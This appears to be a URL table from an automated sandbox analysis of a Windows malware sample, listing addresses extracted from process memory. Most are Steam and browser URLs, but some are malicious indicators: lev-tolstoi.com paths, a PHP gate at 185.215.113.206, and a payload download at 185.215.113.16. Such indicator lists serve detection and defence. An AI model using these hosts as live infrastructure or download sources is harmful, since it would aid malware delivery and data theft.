https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/pi2	20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.bestbuy.com/site/electr	20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2242500446.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/m	20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/pi:	20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/b	20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lev-tolstoi.com/_	20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/	20yLTIU4mS.exe, 00000000.00000003.2167705205.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167705205.0000000000D72000.00000004.00000020.00020000.00000000.sdmp	false	high
http://store.steampowered.com/privacy_agreement/	20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/points/shop/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php3	VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.000000000065D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://steamcommunity.com/profiles/76561199724331900/inventory/	20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	20yLTIU4mS.exe, 00000000.00000003.2214033634.0000000005A14000.00000004.00000800.00020000.00000000.sdmp	false	high
https://store.steampowered.com/privacy_agreement/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php:	VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.000000000065D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/com1	20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpH	VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.000000000065D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpE	VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.000000000065D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/~	20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D72000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2242500446.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	20yLTIU4mS.exe, 00000000.00000003.2382269303.0000000000E14000.00000004.00000020.00020000.00000000.sdmp	false	high
http://store.steampowe	20yLTIU4mS.exe, 00000000.00000003.2236151361.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212584099.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2214000519.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241606236.0000000000E12000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://store.steampowered.com/about/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/my/wishlist/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://help.steampowered.com/en/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/market/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/news/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2236151361.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2242500446.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apip	20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167705205.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://store.steampowered.com/subscriber_agreement/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/pu	20yLTIU4mS.exe	false	high
http://store.steampowered.com/subscriber	20yLTIU4mS.exe	false	high
https://steamcommunity.com/discussions/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/stats/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/steam_refunds/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/promo/summer2	20yLTIU4mS.exe	false	high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/workshop/	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	20yLTIU4mS.exe, 00000000.00000003.2214033634.0000000005A14000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/legal/	20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	false	high
